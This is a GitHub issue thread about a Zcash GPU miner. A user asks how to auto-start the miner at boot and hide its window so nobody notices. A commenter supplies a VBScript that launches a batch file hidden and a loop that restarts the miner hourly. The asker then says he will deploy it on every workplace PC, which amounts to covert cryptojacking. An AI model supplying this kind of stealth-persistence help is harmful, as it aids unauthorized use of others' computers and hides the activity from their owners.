Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Automatic hide window genoil #84

Open
Smokeyw opened this issue Nov 3, 2016 · 4 comments
Open

Automatic hide window genoil #84

Smokeyw opened this issue Nov 3, 2016 · 4 comments

Comments

@Smokeyw
Copy link

Smokeyw commented Nov 3, 2016

is there a way to auto start genoil-zec-miner when windows start
and after that hide the genoil-zec-miner window so nobody know or see a thing ??

@tuzak500
Copy link

tuzak500 commented Nov 3, 2016

lol why? you want to run it at work place computers or smt? ... "honest".

@ginyor
Copy link

ginyor commented Nov 3, 2016

@tuzak500
Copy link

tuzak500 commented Nov 3, 2016

hmm for been honest.. i would do it like this:

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "C:\Batch Files\syncfiles.bat" & Chr(34), 0
Set WshShell = Nothing

Copy the lines above to Notepad and save the file with .VBS extension. Edit the .BAT file name and path accordingly, and save the file. Double-click the .VBS file to run it.

also so you get more confident if anything fails run this bat file
:restart
start "" cmd /C startz.bat
TIMEOUT /T 3600
taskkill /f /im genoil.exe
TIMEOUT /T 2
goto restart

so if anything goes wrong it will restart the bat every hour or so..

@Smokeyw
Copy link
Author

Smokeyw commented Nov 3, 2016

thanks guyz going to test it on the work place on every pc hahaha

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants